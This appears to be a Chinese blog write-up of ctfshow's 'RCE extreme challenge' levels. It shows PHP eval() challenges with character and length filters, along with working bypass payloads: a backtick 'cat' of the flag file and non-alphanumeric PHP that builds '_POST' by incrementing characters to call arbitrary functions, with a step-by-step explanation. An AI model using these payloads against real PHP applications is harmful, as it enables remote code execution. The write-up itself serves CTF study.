ctfshow RCE极限挑战

RCE1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

code=echo `cat /f1agaaa`;

image-20230410205742129

RCE2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

$_=(_._/_)[_==_];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[__]($$__[_]);

直接掏出之前的payload

image-20230410210209782

RCE3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

image-20230410210240606

这道题也一样

RCE4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这道题也一样

image-20230410210815053

RCE5

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这道题的长度限制有点严,得重新优化一下这个payload,看了一下别人的payload拿到下面这个payload

$_=(_/_._)[_];$_++;$a=$_.$_++;$_++;$_++;$a=_.$a.++$_.++$_;$$a[a]($$a[_]);
其中$a替换成$%ff

这里简单讲解一下:

$payload = _.$a.$a++;
step1: _.$a _o // 第一步执行'_'.'o'的操作,得到一个_o字符串
step2: $a=p  // 第二步执行$a++操作,也就是让$a自增之前的值参与运算,再参与运算之后将$a='p'
step3: _o . o //第三步将_o字符串与o字符进行拼接,其实这里第二步和第三步是同时进行的,最终$a的值变为p
result: _oo

$payload = $a.$a++;
step1: o  $a=p // 这里因为不存在第一步的_和o拼接操作所以执行$a++操作,将$a原本的值参与运算,然后将a的值立马自增1
step2: p . o //第二步取$a的值与第一步参与运算的o进行拼接,因为在第一步的时候a已经自增成为了p,也就是p跟o拼接,最终得到了po这个字符串

image-20230410215000751

最后修改:2023 年 04 月 11 日
如果觉得我的文章对你有用,请随意赞赏
本文作者:
文章标题:ctfshow RCE极限挑战
本文地址:https://pysnow.cn/archives/600/
版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。